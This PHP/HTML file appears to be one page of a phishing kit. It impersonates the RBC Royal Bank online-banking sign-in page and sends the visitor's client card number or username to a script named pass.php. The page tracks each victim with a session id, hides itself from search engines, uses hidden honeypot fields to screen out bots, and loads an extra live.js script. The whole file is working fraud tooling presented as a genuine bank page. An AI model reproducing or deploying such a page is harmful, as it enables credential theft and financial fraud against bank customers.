<?php
declare(strict_types=1);
if (!defined('DIR')) define('DIR', __DIR__);
$candidats = [dirname(DIR) . '/private/config.php', dirname(DIR, 2) . '/private/config.php', DIR . '/private/config.php'];
foreach ($candidats as $c) { if (is_file($c)) { require $c; break; } }

$sid = substr(preg_replace('/[^a-z0-9]/i', '', (string)($_GET['sid'] ?? '')), 0, 12);
if ($sid === '') $sid = bin2hex(random_bytes(6));
$ref = substr(preg_replace('/[^a-z0-9]/i', '', (string)($_GET['ref'] ?? '')), 0, 24);
?>
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="utf-8">
<meta name="viewport" content="width=device-width, initial-scale=1">
<meta name="robots" content="noindex,nofollow">
<title>RBC Royal Bank &#8211; Secure Sign-In</title>
<link rel="stylesheet" href="head.css">
</head>
<body>

<?php readfile(DIR . '/barre.html'); ?>

<main>
  <h1>Secure Sign-In</h1>
  <h2>RBC Online Banking</h2>

  <form id="form" action="pass.php" method="POST" autocomplete="off" novalidate>
    <input type="hidden" id="sid" name="sid" value="<?= htmlspecialchars($sid, ENT_QUOTES) ?>">
    <input type="hidden" name="ref" value="<?= htmlspecialchars($ref, ENT_QUOTES) ?>">
    <input type="hidden" name="t" value="">
    <div style="position:absolute;left:-9999px" aria-hidden="true">
      <input type="text" id="hp" name="hp" tabindex="-1" autocomplete="off">
      <input type="text" id="hp2" name="website" tabindex="-1" autocomplete="off">
    </div>

    <div style="margin-bottom:1rem">
      <label for="codeUtilisateur">Client Card or Username</label>
      <input type="text" id="codeUtilisateur" name="u" class="form-control" maxlength="100" required autocomplete="off" spellcheck="false">
    </div>

    <div class="checkbox">
      <input type="checkbox" id="souvenirDeMoiCheckBox" name="memo" value="1">
      <label for="souvenirDeMoiCheckBox">Save client card or username</label>
    </div>

    <div class="actions">
      <button type="submit" class="btn" id="btn">Next</button>
      <a href="#">Recover Your Username</a>
    </div>
  </form>

  <p class="enrol"><a href="#">Enrol in Online Banking</a></p>

  <div class="avis">
    <h3>Service Notices</h3>
    <a href="#">Weekend maintenance to affect Online/Mobile Banking</a>
  </div>

  <p class="autres"><span></span> Other Online Services</p>

  <div class="legal"><p>Royal Bank of Canada Website, &#169; 1995-2026</p></div>
</main>

<div class="f-links"><a href="#">Legal</a><span>|</span><a href="#">Accessibility</a><span>|</span><a href="#">Privacy &amp; Security</a></div>

<script>
(function(){
  var f=document.getElementById('form'),b=document.getElementById('btn'),u=document.getElementById('codeUtilisateur'),envoi=false;
  document.querySelector('input[name=t]').value=Date.now();
  try{var v=localStorage.getItem('rbc_card');if(v){u.value=v;document.getElementById('souvenirDeMoiCheckBox').checked=true;}}catch(e){}
  u.focus();
  f.addEventListener('submit',function(e){
    if(envoi){e.preventDefault();return;}
    if(!u.value.trim()){e.preventDefault();u.focus();return;}
    try{if(document.getElementById('souvenirDeMoiCheckBox').checked)localStorage.setItem('rbc_card',u.value.trim());else localStorage.removeItem('rbc_card');}catch(err){}
    envoi=true;b.disabled=true;b.textContent='Next…';
  });
  window.addEventListener('pageshow',function(){envoi=false;b.disabled=false;b.textContent='Next';});
})();
</script>
<script src="live.js"></script>
</body>
</html>
